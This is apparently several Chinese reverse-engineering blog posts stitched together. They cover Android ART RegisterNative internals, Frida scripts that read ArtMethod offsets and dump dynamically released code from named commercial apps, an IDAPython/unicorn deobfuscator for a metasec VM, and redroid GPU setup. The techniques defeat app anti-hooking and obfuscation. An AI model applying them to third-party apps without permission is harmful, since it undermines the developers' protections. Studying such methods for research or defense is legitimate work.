(UNLIKELY(method_count == 0)) { 2473 LOG(WARNING) << \\"JNI RegisterNativeMethods: attempt to register 0 native methods for \\" 2474 << c->PrettyDescriptor(); 2475 return JNI_OK; 2476 } 2477 CHECK_NON_NULL_ARGUMENT_FN_NAME( \\"RegisterNatives\\" , methods, JNI_ERR); 2478 for (jint i = 0; i < method_count; ++i) { 2479 const char* name = methods[i].name; 2480 const char* sig = methods[i].signature; 2481 const void* fnPtr = methods[i].fnPtr; 2482 if (UNLIKELY(name == nullptr)) { 2483 ReportInvalidJNINativeMethod(soa, c.Get(), \\"method name\\" , i); 2484 return JNI_ERR; 2485 } else if (UNLIKELY(sig == nullptr)) { 2486 ReportInvalidJNINativeMethod(soa, c.Get(), \\"method signature\\" , i); 2487 return JNI_ERR; 2488 } else if (UNLIKELY(fnPtr == nullptr)) { 2489 ReportInvalidJNINativeMethod(soa, c.Get(), \\"native function\\" , i); 2490 return JNI_ERR; 2491 } 2492 bool is_fast = false ; 2493 // Notes about fast JNI calls: 2494 // 2495 // On a normal JNI call, the calling thread usually transitions 2496 // from the kRunnable state to the kNative state. But if the 2497 // called native function needs to access any Java object, it 2498 // will have to transition back to the kRunnable state. 2499 // 2500 // There is a cost to this double transition. For a JNI call 2501 // that should be quick, this cost may dominate the call cost. 2502 // 2503 // On a fast JNI call, the calling thread avoids this double 2504 // transition by not transitioning from kRunnable to kNative and 2505 // stays in the kRunnable state. 2506 // 2507 // There are risks to using a fast JNI call because it can delay 2508 // a response to a thread suspension request which is typically 2509 // used for a GC root scanning, etc. If a fast JNI call takes a 2510 // long time , it could cause longer thread suspension latency 2511 // and GC pauses. 2512 // 2513 // Thus, fast JNI should be used with care. It should be used 2514 // for a JNI call that takes a short amount of time (eg. no 2515 // long-running loop) and does not block (eg. no locks, I /O , 2516 // etc.) 2517 // 2518 // A \'!\' prefix in the signature in the JNINativeMethod 2519 // indicates that it\'s a fast JNI call and the runtime omits the 2520 // thread state transition from kRunnable to kNative at the 2521 // entry. 2522 if (*sig == \'!\' ) { 2523 is_fast = true ; 2524 ++sig; 2525 } 2526 2527 // Note: the right order is to try to find the method locally 2528 // first, either as a direct or a virtual method. Then move to 2529 // the parent. 2530 ArtMethod* m = nullptr; 2531 bool warn_on_going_to_parent = down_cast<JNIEnvExt*>( env )->GetVm()->IsCheckJniEnabled(); 2532 for (ObjPtr<mirror::Class> current_class = c.Get(); 2533 current_class != nullptr; 2534 current_class = current_class->GetSuperClass()) { 2535 // Search first only comparing methods which are native. 2536 m = FindMethod< true >(current_class, name, sig); 2537 if (m != nullptr) { 2538 break ; 2539 } 2540 2541 // Search again comparing to all methods, to find non-native methods that match. 2542 m = FindMethod< false >(current_class, name, sig); 2543 if (m != nullptr) { 2544 break ; 2545 } 2546 2547 if (warn_on_going_to_parent) { 2548 LOG(WARNING) << \\"CheckJNI: method to register \\\\\\"\\" << name << \\"\\\\\\" not in the given class. \\" 2549 << \\"This is slow, consider changing your RegisterNatives calls.\\" ; 2550 warn_on_going_to_parent = false ; 2551 } 2552 } 2553 2554 if (m == nullptr) { 2555 c->DumpClass(LOG_STREAM(ERROR), mirror::Class::kDumpClassFullDetail); 2556 LOG(ERROR) 2557 << \\"Failed to register native method \\" 2558 << c->PrettyDescriptor() << \\".\\" << name << sig << \\" in \\" 2559 << c->GetDexCache()->GetLocation()->ToModifiedUtf8(); 2560 ThrowNoSuchMethodError(soa, c.Get(), name, sig, \\"static or non-static\\" ); 2561 return JNI_ERR; 2562 } else if (!m->IsNative()) { 2563 LOG(ERROR) 2564 << \\"Failed to register non-native method \\" 2565 << c->PrettyDescriptor() << \\".\\" << name << sig 2566 << \\" as native\\" ; 2567 ThrowNoSuchMethodError(soa, c.Get(), name, sig, \\"native\\" ); 2568 return JNI_ERR; 2569 } 2570 2571 VLOG(jni) << \\"[Registering JNI native method \\" << m->PrettyMethod() << \\"]\\" ; 2572 2573 if (UNLIKELY(is_fast)) { 2574 // There are a few reasons to switch: 2575 // 1) We don\'t support !bang JNI anymore, it will turn to a hard error later. 2576 // 2) @FastNative is actually faster. At least 1.5x faster than !bang JNI. 2577 // and switching is super easy, remove ! in C code, add annotation in .java code. 2578 // 3) Good chance of hitting DCHECK failures in ScopedFastNativeObjectAccess 2579 // since that checks for presence of @FastNative and not for ! in the descriptor. 2580 LOG(WARNING) << \\"!bang JNI is deprecated. Switch to @FastNative for \\" << m->PrettyMethod(); 2581 is_fast = false ; 2582 // TODO: make this a hard register error in the future. 2583 } 2584 2585 const void* final_function_ptr = m->RegisterNative(fnPtr); 2586 UNUSED(final_function_ptr); 2587 } 2588 return JNI_OK; 2589 } |
首先我们拿到RegisterNative的函数实现部分
\\n有两个重点关注的地方:
\\nhttp://aospxref.com/android-10.0.0_r47/xref/art/runtime/jni/jni_internal.cc#2459
\\njava对象转artmethod对象的过程
\\n在这里将java的class和签名都传入
\\n从内存中遍历artmethod,匹配出符合条件的artmethod
\\n第二个重要的地方
\\nartmethod调用自己的RegisterNative方法
\\n这里就有些厂商下沉到artmethod的注册方法,导致脚本hook不到。
\\n1 2 3 4 5 6 7 8 9 10 | ALWAYS_INLINE void SetNativePointer(MemberOffset offset, T new_value, PointerSize pointer_size) { 822 static_assert(std::is_pointer<T>::value, \\"T must be a pointer type\\" ); 823 const auto addr = reinterpret_cast<uintptr_t>(this) + offset.Uint32Value(); 824 if (pointer_size == PointerSize::k32) { 825 uintptr_t ptr = reinterpret_cast<uintptr_t>(new_value); 826 *reinterpret_cast<uint32_t*>(addr) = dchecked_integral_cast<uint32_t>(ptr); 827 } else { 828 *reinterpret_cast<uint64_t*>(addr) = reinterpret_cast<uintptr_t>(new_value); 829 } 830 } |
在这里 对artmethod的指针进行设置,完成对jni函数的绑定
\\n总结一下:RegisterNative的核心就是调用SetNativePointer这个函数,将函数的地址保存到artmethod中
\\nreinterpret_cast<uintptr_t>(this) + offset.Uint32Value();
\\n这一行正是他保存的偏移地址,artmethod指针的偏移32位在源码里体现出来了,当然我们可以通过计算的方式拿到偏移地址。
\\n这个参数就是artmethod存储地址的地方
\\n可以根据结构体计算出data_的偏移
\\n看到这里,可以揭露下本文章的核心了,就是通过frida拿到artmethod结构体,在计算出当前机器的偏移数量,查看data_数据的内容,那么就是该jni地址绑定的artmehod的地址了
\\n在这个板块,我们将从LoadClass这个函数作为切入点
\\n在这个函数里有LoadMethod和Linkcode这两个核心函数
\\n每个函数第一次都要进行一次链接绑定
\\n在这里判断函数是否要在本地实现
\\n重点:根据函数类型走不同的分支,我们查看method->IsNative()
\\n这个分支
\\n发现函数调用了
**UnregisterNative
这个方法**
在函数链接的时候,所有的native函数都会调用一遍unregisternative
\\n SetEntryPointFromJni
http://aospxref.com/android-10.0.0_r47/s?defs=SetEntryPointFromJni&project=art
\\n和registernative一样 调用了设置入口函数 而入口函数来源于[GetJniDlsymLookupStub](http://aospxref.com/android-10.0.0_r47/s?defs=GetJniDlsymLookupStub&project=art)()
这个函数是一段内联汇编
\\n其中内部调用了artFindNativeMethod这个方法
\\n\\n最终这个函数调用了 真正的RegisterNative函数
\\n在这个函数里
\\n有着寻找函数符号的过程,可以看到静态注册的规则
\\n将long_name和short_name做拼接去寻找符号,如果没找到则保留null,等待开发人员进行绑定
\\n我们可以理解为,jni函数一开始都绑定在一个地址上,程序员需要在jni_onload再去二次绑定上自己的真实的地址(这里在后面有一个坑)
\\n认真阅读的读者心中已经有了答案,就在Artmethod的data_这个属性里,我们只需要拿到函数的artmethod指针以及知道自己系统artmethod的储存绑定地址的偏移即可。
\\n我们可以自己写一个小demo,手动调用registernative,绑定我们自己的地址到函数上,然后拿到对应的artmethod,对内存进行搜索,取出符合条件的index
\\n在aosp8.0-aosp10的系统上,artmethod的指针就是jmethodid的数值,这里我们可以通过源码来查看 在aosp11的时候这一特性发生了变化,aosp为了安全,将artmetod指针建立了一个数组,并返回了一个id作为index
\\n从这里看到,jmethoidid只是将artmethod强转了
\\n所以在aosp10以下,可以直接通过
\\n来直接获取到手机的偏移地址
\\n在aosp10以上怎么办? 非常好办,frida就可以帮你做内存检索,虽然比app一键获取要来的慢
\\n下面我们进入下一个篇章,如何用开发的demo获取到你手机目前的偏移地址
\\n打开我们自己实现的app
\\n我们可以看到是4个指针大小(并不是字节,上面打错了)
\\n如果你的app运行在32位模式下,那么就是4x4(32位指针大小4字节)=16 字节
\\n1 | adb install --abi armeabi-v7a xxx.apk |
这样安装会让你的apk强制运行在32位模式下,其余手机基本默认都运行在64位下
\\n不确定的可以调用frida的api Proces.pointersize
\\n我的app是运行在64位模式下,那么就是4X8(64位指针大小8字节)=32字节
\\n打开app是另外一个界面
\\n我们首先获取目标类的artmethod地址
\\n将frida挂载到demo app上面
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function getHandle(object) { var handle = null; try { handle = object.$handle; } catch (e) { } if (handle == null) { try { handle = object.$h; } catch (e) { } } if (handle == null) { try { handle = object.handle; } catch (e) { } } return handle; } Java.perform( function () { let ReadableNativeMap = Java.use( \\"com.example.getoffsite.MainActivity\\" ); console.log(getHandle(ReadableNativeMap[ \\"stringFromJNI\\" ])) }); |
不做任何修改的运行
\\n拿到第一个值 也就是artmethod的地址 0x754d267ed8
\\n接下来从界面上抄来第二个值,填入下面的脚本
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | var startAddress = ptr( \'0x754d267ed8\' ); // artmethod地址 var targetValue = ptr( \'0x74d82ebbb0\' ); // app界面上的值 var scanLength = 1024; // 扫描长度(字节数) function scanMemory(address, target, length) { for (var i = 0; i < length; i++) { var currentAddress = address.add(i); var currentValue = Memory.readPointer(currentAddress); if (currentValue.equals(target)) { console.log( \'Found match at address: \' + currentAddress); console.log( \\"offsite\\" ,currentAddress.sub(startAddress)); return ; } } console.log( \'No match found within the specified range.\' ); } scanMemory(startAddress, targetValue, scanLength); |
注入脚本
\\n就可以获取到你偏移的字节了这里是0x10 也就是16(64位下)
\\n如果目标app比较老 运行在32位模式下
\\n1 | adb install --abi armeabi-v7a demo.apk |
强制demo app强制运行在32位模式下,即可拿到32位的偏移
\\n我们目标要获取的类名是
\\ncom.example.test_1.MainActivity
\\n方法名是
\\npublic native String stringFromJNI();
\\n首先启动好app,frida进行附加
\\n运行脚本,获取到目标类的artmethod
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function getHandle(object) { var handle = null; try { handle = object.$handle; } catch (e) { } if (handle == null) { try { handle = object.$h; } catch (e) { } } if (handle == null) { try { handle = object.handle; } catch (e) { } } return handle; } Java.perform( function () { let ReadableNativeMap = Java.use( \\"com.example.test_1.MainActivity\\" ); console.log(getHandle(ReadableNativeMap[ \\"stringFromJNI\\" ])) }); |
之后阅读偏移的16个字节(上一个板块的获取到的)的信息
\\n1 | ptr(0x75480b3ed8).add(16).readPointer(); |
这就是这个art方法绑定的方法了 我们使用DebugSymbol.fromAddress查看具体符号信息
\\n简单计算一下偏移
\\n1 | Process.getModuleByName( \\"libtest_1.so\\" ) |
使用获取到的地址减去模块的base,得到偏移
\\n0x1dd80
\\n至此,我们的小试牛刀结束了,下面循序渐进的解决两位群友问题
\\n问题:为什么我hook了dlsym、jni的RegisterNative、枚举所有模块的所有导出函数都没有找到我要的函数
\\napp名称:人保e通
\\n目标类型和函数
\\ncom.facebook.react.bridge.ReadableNativeMap
\\n第一步,使用脚本拿到artmethod地址:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 | function getHandle(object) { var handle = null; try { handle = object.$handle; } catch (e) { } if (handle == null) { try { handle = object.$h; } catch (e) { } } if (handle == null) { try { handle = object.handle; } catch (e) { } } return handle; } Java.perform( function () { let ReadableNativeMap = Java.use( \\"com.facebook.react.bridge.ReadableNativeMap\\" ); console.log(getHandle(ReadableNativeMap[ \\"importValues\\" ])) }); |
拿到了目标地址
\\n第二步,阅读指针内容
\\n1 | ptr(0x79b4c96368).add(32).readPointer(); // 这里我使用的安卓8.0系统 32是4个指针乘8字节 |
成功拿到地址:
\\n解析下符号:
\\n问题:.首先用yang的那个dump so脚本hook不到,然后用他那个hook regestive的脚本也hook不到注册函数
\\n目标样本app:正保会计网校
\\n老套路,获取到目标类型的artmethod:
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | function getHandle(object) { var handle = null; try { handle = object.$handle; } catch (e) { } if (handle == null) { try { handle = object.$h; } catch (e) { } } if (handle == null) { try { handle = object.handle; } catch (e) { } } return handle; } Java.perform( function () { // 定位类 var targetClass = Java.use( \'com.cdel.encode.TSEncode\' ); console.log(getHandle(targetClass.de1)) }); |
0x7b3ff992c8
\\n拿到目标函数地址:
\\n1 | ptr(0x7b3ff992c8).add(32).readPointer(); |
奇怪? 为什么他绑定在了art里面呢,仔细一看
\\nart_jni_dlsym_lookup_stub
\\n这不就是第一次统一unregisternative的地址吗
\\n具体原理请看上面的第三部分
\\n我们该怎么办?
\\n非常简单,主动调用一次即可!
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 | Java.perform( function () { // 定位类 var targetClass = Java.use( \'com.cdel.encode.TSEncode\' ); // 定义要传递的参数 var param = \\"7ZvLaMCWJPFQmQX87ZvLaMCWJPEFUzIwJGPZwXlCunyRfQ8xqyCsSt1ADfx3xI3LZkeb.w__X8bMvisv\\" ; // 调用目标方法并获取返回值 var result = targetClass.de1(param); // 输出结果 console.log( \\"Result: \\" + result); }); |
调用成功后我们再次查看地址
\\n果然 地址发生了变化
\\n奇怪的事情来了,他并没有任何符号,仅仅是一个地址
\\n难道我们的字节读取错误了吗
\\n使用hexdump 查看一下artmethod在内存中的值
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | [Pixel::com.cdel.accmobile ]-> console.log(hexdump(ptr(0x7b3ff992c8))) 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF 7b3ff992c8 80 fd e4 14 09 01 00 00 00 00 00 00 2f 1e 00 00 ............/... 7b3ff992d8 03 00 00 00 00 00 00 00 00 b0 10 53 7b 00 00 00 ...........S{... 7b3ff992e8 **80 20 2c 3d 7b** 00 00 00 60 0b b1 68 7b 00 00 00 . ,={...`..h{... 7b3ff992f8 80 fd e4 14 09 01 00 00 00 00 00 00 30 1e 00 00 ............0... 7b3ff99308 04 00 00 00 00 00 00 00 00 b0 10 53 7b 00 00 00 ...........S{... 7b3ff99318 a0 6d b0 68 7b 00 00 00 60 0b b1 68 7b 00 00 00 .m.h{...`..h{... 7b3ff99328 80 fd e4 14 09 01 00 00 00 00 00 00 31 1e 00 00 ............1... 7b3ff99338 05 00 00 00 00 00 00 00 00 b0 10 53 7b 00 00 00 ...........S{... 7b3ff99348 a0 6d b0 68 7b 00 00 00 60 0b b1 68 7b 00 00 00 .m.h{...`..h{... 7b3ff99358 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 7b3ff99368 00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 ................ 7b3ff99378 00 00 00 00 00 00 00 00 a0 93 f9 3f 7b 00 00 00 ...........?{... 7b3ff99388 70 08 b1 68 7b 00 00 00 00 00 00 00 00 00 00 00 p..h{........... 7b3ff99398 00 00 00 00 00 00 00 00 30 a3 68 70 00 00 00 00 ........0.hp.... 7b3ff993a8 d8 2e 70 70 00 00 00 00 00 00 00 00 00 00 00 00 ..pp............ 7b3ff993b8 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 ................ |
对比了下标横线的地址,我们获取的并没有错误,我们该怎么办?
\\n当然是去map查找他所在的段,查看是不是可执行的,如果是,那么目标so就使用了动态释放内存的操作,将可执行代码用mmap释放到内存中并执行
\\n获取到了目标进程的pid,我们在开启一个shel
\\n1 | cat /proc/7129/maps > /data/local/tmp/map .txt |
找到了三个可以的段 连名字都没有
\\n而且发现 目标地址正是在
\\n7b3d228000-7b3d453000 rwxp 00000000 00:00 0
\\n这个段中
\\n并且这个段还有执行权限,非常可疑,我们来进行内存dump
\\n有三种方式可以dump
\\n第一种 使用dd命令 dd if = 具体可以问gpt如何操作
\\n第二种 使用frida脚本 dump下memory 使用file写入文件
\\n第三种 使用开源项目
\\nhttps://github.com/kp7742/MemDumper
\\nhttps://github.com/maiyao1988/elf-dump-fix
\\n文章结尾会打包好 所有需要的文件 下面我们开始dump
\\n1 | 255|sailfish: /data/local/tmp # ./memdumper64 -m -s 7b3d228000 -e 7b3d453000 -n 123.bin -i 7129 -o /sdcard |
进行dump后 我们拿到目标文件查看
\\n是一个elf文件
\\n进行修复后我们导入ida
\\n并计算偏移地址
\\nbase:7b3d228000
\\nfunc ptr :0x7b3d2c2080
\\n计算出偏移地址:
\\n0x9a080
\\n发现就是我们想要的函数
\\n小彩蛋:
\\nlibproxy.so 在init_proc中 很奔放的写出了释放过程,大家可以去debug学习下
\\n所有用到的文件打包地址:
\\n链接: https://pan.baidu.com/s/1d3Ym-piDQe49A9-XcJVrhA?pwd=euwa 提取码: euwa
\\n第二第三部分写的非常有瑕疵,欢迎大佬来指正,我会及时修改帖子内容!
\\n希望大家能从我的帖子学到一些东西,现在的东西深度不是很够,我会努力学习给大家带来高质量的帖子~
\\n大家有问题可以给我留言,我会每天看3-5次来解决大家的问题!
\\n\\n\\n曾经的曾经,我们还是懵懂无知 de 看待这个世界,直到被世界鞭挞的体无完肤,才对世界有一点点理解。
\\n
将 metasec_xx.so 拖入 ida,ida 很自信的帮我们把 so 分析完毕,查看区段信息,ok,没有压缩或加密,可以直接静态分析了(ida server 总是断,用 unidbg 调试没有 ida 直观,lldb/gdb 又太古老了,不如使用 idapython 调 unicorn),找到入口,开始分析。
\\n跟踪关键算法从 java 层调用到 native 层之后,最终会调用一个很大的函数
\\nF5 状态下
\\n可以确定该函数是 vm 的入口,并且有混淆,使 ida 反编译失败,看看汇编
\\nok,不是 ollvm 的混淆。
\\n分析一下这段混淆的含义
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | MOV W9, #9 ; 全新的变量赋值 STR X9, [SP,#0xA0+var_58] ; 将这个写入到堆栈中 LDR X9, [SP,#0xA0+var_58] ; 又取出 MOV W15, #0x11 ; 全新的变量赋值 STR X15, [SP,#0xA0+var_58] ; 写入又取出 LDR X15, [SP,#0xA0+var_58] ADD X0, X9, #1 ; x0=x9+1=10 ADD X3, X9, #2 ; x3=x9+2=11 MUL X9, X0, X9 ; x9=x0*x9=90 MOV X7, #0xAAAAAAAAAAAAAAAA ; 全新的变量赋值 ADD X0, X15, #1 ; x0=x15+1=0x12 MUL X9, X9, X3 ; x9=x3*x9=11*90=(x9*(x9+1)*(x9+2))=0x3de MOVK X7, #0xAAAB ; x7=0xAAAAAAAAAAAAAAAB ADD X3, X15, #2 ; x3=x15+2=0x13 MUL X15, X0, X15 ; x15=x15*x0=0x11*0x12 UMULH X0, X9, X7 ; x0=(x9*x7)>>48=0x294 MUL X15, X15, X3 ; x15=x15*x3=0x11*0x13=(x15*(x15+1)*(x15+2)) LSR X3, X0, #1 ; x3=x0/2 LSL X3, X3, #1 ; x3=x3*2=x0 ADD X0, X3, X0,LSR#1 ; X0 = X3 + (X0 >> 1)=x0+x0/2=1.5*x0=0x3de(应该是用了数学技巧,矩阵转换?) UMULH X3, X15, X7 SUB X9, X9, X0 ; x9=x9-x0=0 LSR X0, X3, #1 LSL X0, X0, #1 ; x0=x3 ADD X0, X0, X3,LSR#1 ; X0 = X0 + (X3 >> 1)=x15 ADRP X3, #loc_4A85C@PAGE ; 地址0 SUB X15, X15, X0 ; x15=x15-x0=0 ADRP X0, #loc_4ACF8@PAGE ; 地址1 ADD X3, X3, #loc_4A85C@PAGEOFF ADD X0, X0, #loc_4ACF8@PAGEOFF ADD X9, X9, X3 ; x9=地址0 ADD X15, X15, X0 ; x15=地址1 CMP W14, #3 ; 获取bytecode的控制码 CSEL X9, X9, X15, CC ; 根据上面的比较判断是去地址0,还是地址1 BR X9 |
可以看到在写地址前,和比较前的一些运算完全没用,关键的只是后面地址和判断条件,那么去混淆的时候只要保存这块就行。
\\n先手动去混淆
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | CMP W14, #3 B.CC loc_4A85C B loc_4ACF8 NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP NOP |
再看看后面是不是都是这样的
\\n可以确定,该类混淆是通过在跳转指令中将跳转地址转为计算值,比较后写入到寄存器中实现跳转,ida 默认没有自动给你分析这个结果,导致反编译失败(中间的多余计算也是一个干扰)。
\\n根据正确的跳转方式,保留关键的寄存器,其他和跳转无关的全部 nop(全是无意义的指令(ps:其实有些也不是))
\\n写去混淆脚本
\\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 | import idaapi import idc from unicorn import * from unicorn.arm64_const import * from keystone import * BASE_reg = 0x81 class txxxxk: def __init__( self ,address,size) - > None : self .start_addre = address self .size = size self .mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM) self .mu.mem_map(address& 0xfff000 , 0x20000000 ) data = idaapi.get_bytes(address,size) self .mu.mem_write(address,data) self .mu.reg_write(UC_ARM64_REG_SP, 0x11000000 ) self .mu.hook_add(UC_HOOK_CODE, self .hook_code) self .cmp_reg_num = 0 self .no_nop = [] self .br_remake = [] self .br_reg = [] self .b_addr1 = 0 self .b_addr2 = 0 self .cmp_seg = \\"\\" self .ks = Ks(KS_ARCH_ARM64, KS_MODE_LITTLE_ENDIAN) def hook_code( self ,mu, address, size, user_data): print ( \\"%x\\" % address) insn = idaapi.insn_t() idaapi.decode_insn(insn,address) dism = idc.generate_disasm_line(address, 0 ) if insn.itype = = idaapi.ARM_cmp: self .cmp_reg_num = insn.Op1.reg - BASE_reg self .no_nop.append(address) if insn.itype = = idaapi.ARM_csel: self .b_addr1 = self .mu.reg_read(UC_ARM64_REG_X0 + insn.Op2.reg - BASE_reg) print (insn.Op3.reg - BASE_reg) self .b_addr2 = self .mu.reg_read(UC_ARM64_REG_X0 + insn.Op3.reg - BASE_reg) self .br_reg.append(insn.Op2.reg - BASE_reg) self .br_reg.append(insn.Op3.reg - BASE_reg) print ( \\"跳转地址 %x\\" % self .b_addr1) print ( \\"跳转地址 %x\\" % self .b_addr2) self .br_remake.append(address) self .no_nop.append(address) self .cmp_seg = dism.split( \\",\\" )[ - 1 ].split( \\" \\" )[ - 1 ] if insn.itype = = idaapi.ARM_br: self .br_remake.append(address) self .no_nop.append(address) def start( self ): try : self .mu.emu_start( self .start_addre, self .start_addre + self .size) except UcError as e: if e.errno = = UC_ERR_EXCEPTION: print ( \\"go on\\" ) else : print (e) print ( \\"ESP = %x\\" % self .mu.reg_read(UC_ARM64_REG_SP)) return self .check_reg() print ( \\"no_nop list \\" ) print ( self .no_nop) print ( \\"br_reg list \\" ) print ( self .br_reg) print ( \\"br list\\" ) print ( self .br_remake) self .nop() self .change_ida_byte() def check_reg( self ): i = self .size nop_list = [] while (i> = 0 ): insn = idaapi.insn_t() idaapi.decode_insn(insn, self .start_addre + i) flag = False for op in insn.ops: if op.reg! = 0 and (op.reg - BASE_reg) in self .br_reg: flag = True for op in insn.ops: if flag: if op.reg! = 0 and (op.reg - BASE_reg) not in self .br_reg and op.reg! = 0xa1 : self .br_reg.append(op.reg - BASE_reg) print ( \\"%x 参与计算的其他寄存器 %d\\" % ( self .start_addre + i,op.reg - BASE_reg)) nop_list.append( self .start_addre + i) i - = 4 for no_nop_i in self .no_nop: if no_nop_i in nop_list: nop_list.remove(no_nop_i) j = 0 while (j< self .size): if j + self .start_addre not in nop_list: self .no_nop.append( self .start_addre + j) j + = 4 def nop( self ): i = 0 while (i< self .size): if i + self .start_addre in self .no_nop: i + = 4 continue idaapi.patch_dword(i + self .start_addre, 0xD503201F ) i + = 4 def change_ida_byte( self ): code = \\"B\\" + self .cmp_seg + \\" \\" + hex ( self .b_addr1) print (code, self .br_remake[ 0 ]) encoding, count = self .ks.asm(code, self .br_remake[ 0 ]) i = 0 print (code) for cc in encoding: idaapi.patch_byte( self .br_remake[ 0 ] + i,cc) i + = 1 code = \\"B\\" + \\" \\" + hex ( self .b_addr2) encoding, count = self .ks.asm(code, self .br_remake[ 1 ]) print (code) i = 0 for cc in encoding: idaapi.patch_byte( self .br_remake[ 1 ] + i,cc) i + = 1 |
去混淆后,ida 再次反编译查看
\\n可以正常解析了,接下来我们要做的就简单了只需要对这个函数进行逐 byte 解析并记录其过程即可。
\\n前面说过,该函数是一个 VM 解释的函数,VM 里执行的二进制代码我把他统称为 vm_opcode,这个 vm 里的 vm_opcode 大概长这样
\\n前面去混淆的代码就是在对这段数据进行一个翻译执行。动静态执行分析一下,解释流程大概是这样的
\\n关于如何分析 vm 和 vm 的结构可以看看看雪的月板第一的文章 https://bbs.kanxue.com/thread-282300.htm
在上面的文章中,大佬已将伪代码一一列出,最后的做法是在这个基础上纯看代码静态分析,在他的基础上做了点改进
\\n将伪代码用函数表示,并用真实的堆栈和真实的c语句将其打印,对于跳转的指令在前面加上c的跳转指示表,然后通过gcc编译,将编译的结果放入到ida中进行反编译,这样做的目的是在编译时会对编译语句进行编译优化,去除一下冗余和重复计算,这样之后再用ida的反编译优化,再进行了一次的优化,使得其读起来没那么复杂
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | #include <stdint.h> #include <stdio.h> typedef void (*PFN_CALLSTUB)(uint64_t, void *); void foo_000DA700(uint64_t *p_args, uint64_t *g_vars, uint64_t *p_funcs, PFN_CALLSTUB callstub) { uint64_t r0 = 0; uint64_t r1 = 0; uint64_t r2 = 0; uint64_t r3 = 0; uint64_t r4 = (uint64_t)p_args; uint64_t r5 = (uint64_t)g_vars; uint64_t r6 = (uint64_t)p_funcs; uint64_t r7 = (uint64_t)callstub; uint64_t r8 = 0; uint64_t r9 = 0; uint64_t r10 = 0; uint64_t r11 = 0; uint64_t r12 = 0; uint64_t r13 = 0; uint64_t r14 = 0; uint64_t r15 = 0; uint64_t r16 = 0; uint64_t r17 = 0; uint64_t r18 = 0; uint64_t r19 = 0; uint64_t r20 = 0; uint64_t r21 = 0; uint64_t r22 = 0; uint64_t r23 = 0; uint64_t r24 = 0; uint64_t r25 = 0; uint64_t r26 = 0; uint64_t r27 = 0; uint64_t r28 = 0; uint64_t r30 = 0; uint64_t r31 = 0; uint64_t field_120 = 0; uint64_t field_128 = 0; uint8_t stack_buffer[0x420]; uint64_t r29 = (uint64_t)&stack_buffer[ sizeof (stack_buffer)]; L_000DA700: r29 = r29 + -0x420; L_000DA704: *(uint64_t *)(r29+0x418) = r31; L_000DA708: *(uint64_t *)(r29+0x410) = r30; L_000DA70C: *(uint64_t *)(r29+0x408) = r23; L_000DA710: *(uint64_t *)(r29+0x400) = r22; L_000DA714: *(uint64_t *)(r29+0x3f8) = r21; L_000DA718: *(uint64_t *)(r29+0x3f0) = r20; L_000DA71C: *(uint64_t *)(r29+0x3e8) = r19; L_000DA720: *(uint64_t *)(r29+0x3e0) = r18; L_000DA724: *(uint64_t *)(r29+0x3d8) = r17; L_000DA728: *(uint64_t *)(r29+0x3d0) = r16; L_000DA72C: r16 = r0 | r7; L_000DA730: r1 = 0xee572c; L_000DA734: *(uint64_t *)(r29+0x50) = r1; L_000DA738: r1 = 0xee5744; |
大概样子
\\n这样之后就比纯看来的好多了
\\n暂时没做,只做了 vm 解释器的还原,后面看看有没有需求,然后做做看。
\\n从虫佬口中得知,20.04无法开启gpu是因为驱动问题,如果要开启必须要移植驱动给redroid
\\n我们选择使用开源的gpu驱动,开启gpu支持。
\\n同时编译内核开启相关驱动选项来玩转ebpf
\\n链接: https://pan.baidu.com/s/1ujNRZjxRK8I_rLCkL6DVng?pwd=kkja 提取码: kkja
--来自百度网盘超级会员v7的分享
仅需要简单的刷写镜像即可开启ebpf之旅
\\nsd卡不需要理会spi,如果是nvme启动,请往下参考
\\n查找到方案链接 供有能力的大佬实现(需要从原场安卓镜像移植so)
\\nhttps://github.com/remote-android/redroid-doc/issues/228
之后找到了大佬自己移植docker的成品
\\ngit主页
\\nhttps://github.com/rk-docker
docker容器:
\\n1 2 3 4 | docker run - d - - privileged - - name test \\\\ - p 5555 : 5555 \\\\ - v / dev / mali0: / dev / mali0 \\\\ shangzebei / rk3588 androidboot.redroid_gpu_mode = mali |
测试后发现不行,请大佬自行测试
\\n安装ppa源里的malig610固件
\\n1 | sudo apt install mali - g610 - firmware |
